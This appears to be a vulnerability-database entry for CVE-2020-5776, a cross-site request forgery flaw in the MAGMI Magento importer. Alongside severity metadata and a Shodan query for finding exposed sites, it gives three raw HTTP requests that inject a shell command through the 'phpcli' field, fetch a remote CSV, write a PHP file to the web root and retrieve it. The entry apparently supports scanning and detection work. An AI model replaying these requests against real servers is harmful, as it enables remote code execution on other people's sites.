| Title | MAGMI - Cross-Site Request Forgery |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to perform unauthorized actions on behalf of the victim user. |
| Remediation | Implement CSRF protection mechanisms such as anti-CSRF tokens and referer validation. |
| CVSS Score | 8.8 |
| EPSS Score | 0.79726 |
| CVE ID | CVE-2020-5776 |
| CWE ID | CWE-352 |
| Shodan Query | http.component:"Magento"http.component:"magento" |
| Tags | cve cve2020 magmi magento tenable magmi_project vkev vuln |
MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.
POST /magmi/web/magmi_saveprofile.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0
Content-Length: 683
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
POST /magmi/web/magmi_run.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Length: 134
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
GET /magmi/web/info.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5776.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5776.pcap
N/AN/A